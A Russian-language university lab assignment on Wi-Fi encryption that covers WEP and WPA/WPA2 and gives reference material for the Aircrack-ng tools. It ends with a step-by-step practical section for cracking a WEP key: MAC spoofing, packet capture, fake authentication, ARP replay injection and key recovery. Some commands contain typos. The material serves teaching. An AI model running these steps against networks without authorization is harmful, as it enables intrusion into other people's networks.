Лабораторная работа №5

Технологии шифрования Wi-Fi сетей, их уязвимости.

Wired Equivalent Privacy (WEP) — алгоритм для обеспечения безопасности сетей Wi-Fi. Используется для обеспечения конфиденциальности и защиты передаваемых данных авторизированных пользователей беспроводной сети от прослушивания. Существует две разновидности WEP: WEP-40 и WEP-104, различающиеся только длиной ключа. В настоящее время данная технология является устаревшей, так как ее взлом может быть осуществлен всего за несколько. WEP часто неправильно называют Wireless Encryption Protocol.

История

В 1997 году Институт Инженеров Электротехники и Радиоэлектроники (IEEE) одобрил механизм WEP. В октябре 2000-го года вышла статья Джесси Уолкера «Unsafe at any key size; An analysis of the WEP encapsulation», описывающая проблемы алгоритма WEP и атаки, которые могут быть организованы с использованием его уязвимостей. В алгоритме есть множество слабых мест:

·  механизмы обмена ключами и проверки целостности данных,

·  малая разрядность ключа и вектора инициализации (англ. Initialization vector),

·  способ аутентификации и

·  алгоритм шифрования.

В 2001 году появилась спецификация WEP-104, которая, тем не менее, не решила проблемы, так как длина вектора инициализации и способ проверки целостности данных остались прежними. В 2004 году IEEE одобрил новые механизмы WPA и WPA2. С тех пор WEP считается устаревшим. В 2008 году вышел стандарт DSS (англ. Data Security Standard) комитета SSC (англ. Security Standards Council) организации PCI (англ. Payment Card Industry) в котором рекомендуется прекратить использовать WEP для шифрования после 30 июня 2010 года.

Формат кадра

Кадр WEP включает в себя следующие поля:

1.  Незашифрованная часть

1.  Вектор инициализации (англ. Initialization Vector) (24 бита)

2.  Пустое место (англ. Pad) (6 бит)

3.  Идентификатор ключа (англ. Key ID) (2 бита)

2.  Зашифрованная часть

1.  Данные

2.  Контрольная сумма (32 бита)

WPA и WPA2 (Wi-Fi Protected Access) — представляет собой обновленную программу сертификации устройств беспроводной связи. Технология WPA пришла на замену технологии защиты беспроводных сетей WEP. Плюсами WPA являются усиленная безопасность данных и ужесточенный контроль доступа к беспроводным сетям. Немаловажной характеристикой является совместимость между множеством беспроводных устройств как на аппаратном уровне, так и на программном. На данный момент WPA и WPA2 разрабатываются и продвигаются организацией Wi-Fi Alliance.

Основные понятия

В WPA обеспечена поддержка стандартов 802.1X, а так же протокола EAP (Extensible Authentication Protocol, расширяемый протокол аутентификации). Стоит заметить, что в WPA поддерживается шифрование в соответствии со стандартом AES (Advanced Encryption Standard, усовершенствованный стандарт шифрования), который имеет ряд преимуществ над используемым в WEP RC4, например гораздо более стойкий криптоалгоритм.

Большим плюсом при внедрении WPA является возможность работы технологии на существующем аппаратном обеспечении Wi-Fi.

Некоторые отличительные особенности WPA:

·  усовершенствованная схема шифрования RC4

·  обязательная аутентификация с использованием EAP.

·  система централизованного управления безопасностью, возможность использования в действующих корпоративных политиках безопасности.

Аутентификация пользователей

Wi-Fi Alliance дает следующую формулу для определения сути WPA:

WPA = 802.1X + EAP + TKIP + MIC

Видно, что WPA, по сути, является суммой нескольких технологий.

Как упомянуто выше, в стандарте WPA используется Расширяемый протокол аутентификации (EAP) как основа для механизма аутентификации пользователей. Непременным условием аутентификации является предъявление пользователем свидетельства (иначе называют мандатом), подтверждающего его право на доступ в сеть. Для этого права пользователь проходит проверку по специальной базе зарегистрированных пользователей. Без аутентификации работа в сети для пользователя будет запрещена.

База зарегистрированных пользователей и система проверки в больших сетях как правило расположены на специальном сервере (чаще всего RADIUS). Но следует отметить, что WPA имеет упрощённый режим.

Этот режим получил название Pre-Shared Key (WPA-PSK). При применении режима PSK необходимо ввести один пароль для каждого отдельного узла беспроводной сети (беспроводные маршрутизаторы, точки доступа, мосты, клиентские адаптеры). Если пароли совпадают с записями в базе, пользователь получит разрешение на доступ в сеть.

Шифрование

Даже не принимая во внимания тот факт что WEP, предшественник WPA, не обладает какими-либо механизмами аутентификации пользователей как таковой, его ненадёжность состоит, прежде всего, в криптографической слабости алгоритма шифрования. Ключевая проблема WEP заключается в использовании слишком похожих ключей для различных пакетов данных.

TKIP, MIC и 802.1X (части уравнения WPA) внесли свою лепту в усиление шифрования данных сетей, использующих WPA.

НЕ нашли? Не то? Что вы ищете?

TKIP отвечает за увеличение размера ключа с 40 до 128 бит, а также за замену одного статического ключа WEP ключами, которые автоматически генерируются и рассылаются сервером аутентификации. Кроме того, в TKIP используется специальная иерархия ключей и методология управления ключами, которая убирает излишнюю предсказуемость, которая использовалась для несанкционированного снятия защиты WEP ключей.

Сервер аутентификации, после получения сертификата от пользователя, использует 802.1X для генерации уникального базового ключа для сеанса связи. TKIP осуществляет передачу сгенерированного ключа пользователю и точке доступа, после чего выстраивает иерархию ключей плюс систему управления. Для этого используется двусторонний ключ для динамической генерации ключей шифрования данных, которые в свою очередь используются для шифрования каждого пакета данных. Подобная иерархия ключей TKIP заменяет один ключ WEP (статический) на 500 миллиардов возможных ключей, которые будут использованы для шифрования данного пакета данных.

Другим важным механизмом является проверка целостности сообщений (Message Integrity Check, MIC). Ее используют для предотвращения перехвата пакетов данных, содержание которых может быть изменено, а модифицированный пакет вновь передан по сети. MIC построена на основе мощной математической функции, которая применяется на стороне отправителя и получателя, после чего сравнивается результат. Если проверка показывает на несовпадение результатов вычислений, данные считаются ложными и пакет отбрасывается.

При этом механизмы шифрования, которые используются для WPA и WPA-PSK, являются идентичными. Единственное отличие WPA-PSK состоит в том, что аутентификация производится с использованием пароля, а не по сертификату пользователя.

WPA2

WPA2 определяется стандартом IEEE 802.11i, принятым в июне 2004 года, и призван заменить WPA. В нём реализовано CCMP и шифрование AES, за счет чего WPA2 стал более защищенным, чем свой предшественник. С 13 марта 2006 года поддержка WPA2 является обязательным условием для всех сертифицированных Wi-Fi устройств.

Aircrack-ng

Для лабораторной работы будет использоваться live дистрибутив BackTruck4, содержащий пакет утилит Aircrack-ng и драйвера для его нормальной работы. Использоваться будут следующие утилиты:

Airodump-ng - программа предназначенная для захвата сырых пакетов протокола 802.11
и особенно подходящая для сбора WEP IVов (Векторов Инициализации) с последущим их
использованием в aircrack-ng. Если к вашему компьютеру подсоединен GPS навигатор
то airodump-ng способен отмечать координаты точек на картах

airodump-ng <options> <interface>[,<interface>,...]

Опции:
--ivs : Сохранять только отловленные IVы. Короткая форма - i.
--gpsd : Использовать GPS. Короткая форма - g.
--write <prefix> : Перфикс файла дампа. Короткая форма - w.
--beacons : Записывать все маяки в файл дампа. Короткая форма - e.
--netmask <netmask> : Фильтровать точки по маске. Короткая форма - m.
--bssid <bssid> : Фильтровать точки по BSSID. Короткая форма - d.
--encrypt <suite> : Фильтровать точки по типу шифрования. Короткая форма -t
-a Фильтровать неасоциированых клиентов


airodump-ng будет показывать список обнаруженных точек доступа, а также список
их клиентов (”stations”). Вот пример скриншота:


В первой строке показаны текущий канал, время прошедшее с момента запуска, текущая дата и дополнительную информацию если обнаружено WPA/WPA2 шифрование. В примере выше, “WPA handshake: 00:14:6C:7E:40:80” показывает что WPA/WPA2 было обнаружено для текущего BSSID.ПРИМ

Поле

Описание

BSSID

MAC адрес точки доступа.

PWR

Уровень сигнала о котором сообщает карта. Его значение зависит от драйвера, но поскольку уровень становится выше, вы можете определить что находитесь ближе к точке доступа. Если BSSID PWR равен −1, то драйвер не поддерживает уровень сигнала. Если PWR равен −1 для ограниченного числа станций тогда это для пакета который поступил от AP но возможности передачи клиента вне возможностей вашей карты. Значит вы слышите только половину вей сети. Если все клиенты имеют PWR равный −1 драйвер не поддерживает заданный уровень сигнала.

RXQ

Качество Приема измеренное в процентах от пакетов (управляющие пакеты и пакеты данных) успешно полученных в течении последних 10 секунд. Смотрите примечание для получения более детальной информации.

Beacons

Число пакетов объявлений, посланных AP. Каждый пункт доступа посылает приблизительно десять маяков в секунду по самой низкой норме (1M), таким образом их может набираться очень много.

# Data

Количество отловленных пакетов (если WEP, только количество IV), включая широковещательные пакеты.

#/s

Число пакетов данных за последние 10 секунд.

CH

Номер канала (берется из пакетов-маяков).
Примечание: иногда airodump-ng захватывает пакеты с других каналов даже если канал строго задан. Это происходит из-за наложения радиочастот.

MB

Максимальная скорость поддерживаемая AP. Если MB = 11, это 802.11b, если MB = 22 это 802.11b+ и если больше то 802.11g. Точка (после того, как выше 54) указывает, что короткая преамбула поддержана.

ENC

Используемый алгоритм шифрования. OPN = нет шифрования,”WEP?” = WEP или выше (нет нужных данных для выбора между WEP или WPA/WPA2), WEP (без метки вопроса) показывает на статическое или динамическое WEP, и WPA или WPA2 если TKIP или CCMP тоже присутствует.

CIPHER

Обнаруженный шифр. Один из CCMP, WRAP, TKIP, WEP, WEP40, или WEP104. Не обязательно, но TKIP обычно используется с WPA, а CCMP обычно с WPA2.

AUTH

Используемый протокол аутентификации. Один из MGT (WPA/WPA2 использование выделенного сервера аутентификации), PSK (открытый ключ для WEP/ pre-shared ключ для WPA/WPA2), или OPN (открытый для WEP).

ESSID

Так называемый “SSID”, который может быть пустым если скрытие SSID активизировано. В этом случае, airodump-ng попытается получить SSID исследуя ответы клиентов.

STATION

MAC адрес обнаруженной станции. В скриншоте выше были обнаружены две станции (00:09:5B:EB:C5:2B and 00:02:2D:C1:5D:1F).

Lost

Число пакетов потерянных за последние 10 секунд. Основывается на требованиях последовательности данных.

Packets

Количество данных посланных клиентом.

Probes

Проверка ESSIDов по клиентам.

ЕЧАНИЯ:
RXQ расширения: Он определяется по всем управляющим пакетам и пакетам данных. Этот ключ, позволит получить вам больше информации. Например, вы получили 100 процентный RXQ и все 10 маяков в секунду. Теперь внезапно RXQ понижается ниже 90, но вы все еще продолжаете захватывать присланные маяки. Таким образом вы знаете что AP посылает пакеты клиенту, но вы не можете услышать клиента ни АР отсылающее клиенту (нужно стать ближе).

Другое бы произошло если бы вы заставили 11мб карту мониторить и отлавливать пакеты
(например prism2.5) и вы имели бы очень хорошую позицию относительно AP. AP 54MBit и с другой стороны снижения RXQ, таким образом Вы знаете, что есть по крайней мере один 54MBit клиент, связанный с AP.

Чтобы ограничить сбор данных лишь одной точкой которой вы интересуетесь, включите
опцию “–bssid” и определите MAC адрес точки. Например:
airodump-ng - c 8 –bssid 00:14:6C:7A:41:20 - w capture ath0

Aircrack-ng - программа для взлома 802.11 WEP and WPA/WPA2-PSK ключей.
Aircrack-ng может восстановить WEP ключ как только будет захвачено достаточно
много пакетов с помощью программы airodump-ng. Эта часть набора программ от
aircrack-ng предназначена для выполнения статических атак на беспроводные сети и
для обнаружения WEP ключа методом грубого подбора. Также можно использовать
подбор по словарю. Для взлома WPA/WPA2 pre-shared ключей, можно использовать
ТОЛЬКО подбор по словарю.

Aireplay-ng используется для генерации пакетов.

Основная функция программы заключается в генерации трафика для последующего использования в aircrack-ng для взлома WEP и WPA-PSK ключей. Существуют несколько различных атак, с помощью которых можно совершить: реассоциацию узлов с целью получения данных WPA handshake, поддельные аутентификации, интерактивное повторение пакетов (Interactive packet replay), вручную произвести инжектирование ARP-запросов и повторных ARP-запросов. С помощью инструмента packetforge-ng можно создавать произвольные пакеты.

Большинство драйверов необходимо пропатчить, чтобы иметь возможность генерировать пакеты, не забудьте прочитать Установка драйверов.
Использование атак

В настоящее время программа реализует несколько различных атак:

Атака 0: Реассоциация узлов

Атака 1: Фальшивая аутентификация

Атака 2: Интерактивная генерация пакетов

Атака 3: Повторение ARP запроса

Атака 4: KoreK chopchop (быстро-быстро) нападение

Атака 5: Фрагментация

Атака 6: Кофе-латте атака (Caffe-latte attack)

Атака 7: Клиент-ориентированная фрагментированная

Атака 9: Тест инжекции

Использование

Этот раздел дает общий обзор инструмента. Не все варианты параметров применимы ко всем нападениям. См. подробнее для каждой атаки.

Использование:

aireplay-ng <опции> <интерфейс>


Для всех атак, за исключением реассоциации узлов и фальшивой аутентификации, вы можете использовать следующие фильтры, чтобы ограничить пакеты, которые будут участвовать в конкретной атаке. Наиболее часто используется фильтр-опция «-b», чтобы выбрать конкретную точку доступа. Обычно опция «-b» является единственным ключем, который вы используете.

Параметры фильтрации: Опция Парам. Описание
-b bssid MAC-адрес точки доступа
-d dmac MAC-адрес, адресат
-s smac MAC-адрес, источник
-m len Минимальный размер пакета
-n len Максимальный размер пакета
-u type Контроль кадра, тип поля (type field)
-v subt Контроль кадра, подтип поля (subtype field)
-t tods Контроль кадра, To DS bit
-f fromds Контроль кадра, From DS bit
-w iswep Контроль кадра, WEP bit

При генерации пакетов (путем инжекции), применяются следующие варианты параметров. Имейте в виду, что не каждый параметр имеет отношение к каждому нападению. Для каждой атаки ниже будут приведены примеры возможных опций.

Параметры генерации (повторения) пакетов: Опция Парам. Описание
-x nbpps количество пакетов в секунду
-p fctrl установить контрольное слово кадра (hex)
-a bssid установить MAC-адрес точки доступа
-c dmac установить MAC-адрес Получателя
-h smac установить MAC-адрес Источника
-e essid атака «фальшивая аутентификация»: установить SSID (идентификатор сети) точки доступа
-j arpreplay атака генерация FromDS пакетов
-g значение изменить размер кольцевого буфера (по умолчанию: 8)
-k IP установить IP адрес назначения в фрагментах
-l IP установить IP адрес источника в фрагментах
-o npckts количество пакетов в пачке (-1)
-q sec количество секунд между посылкой keep-alive пакетов (сообщений, подтверждающих активность) (-1)
-y prga поток ключей (keystream) для авторизации открытым ключем

Практическая часть


airmon-ng stop [device]

Изменяем MAC адрес устройства:

macchanger --mac 00:11:22:33:44:66 [device]

airmon-ng start wlan0

Запуск

Просматриваем список доступных Wi-Fi точек доступа:

airodump-ng mon0

Мы видим доступные сети, в частности MAC адрес (BSSID), канал (CH) и имя (ESSID). Теперь мы начнем собирать данные с WIFI роутера для атаки:

airodump-ng - c [channel] - w [network. out] –bssid [bssid] [device]

Команда выше поместит полученные данные в файл network. out. Этот файл потребутеся нам позднее когда мы будем готовы взламывать WEP ключ.

Откройте другое окно шелла и оставьте предыдущую команду выполняться. Теперь же мы сгенерируем несколько поддельных пакетов к роутеру для ускорения сбора данных. Используйте следующую команду:

aireplay-nga [bssid] -h 00:11:22:33:44:55 - e [essid] [device]

Если команда выше прошла успешно, мы будем генерировать большое количество пакетов на взламываемую сеть. Введите:

airplay-ng -3 - b [bssid] - h 00:11:22:33:44:55 [device]

Когда значение поля Data достигает 10,000-20,000 вы можете начинать взлом ключа. Если нет других доступных сетей, можно попробовать команду:

aireplay-ng -2 - p 0841 - c FF:FF:FF:FF:FF:FF -b [bssid] - h 00:11:22:33:44:66 [device]

aircrack-ng - n 128 - b [bssid] [filename]-01.cap

Параметр “-n 128″ указывает на 128-битный WEP ключ. Если взлом не получится, используем  “-n 64″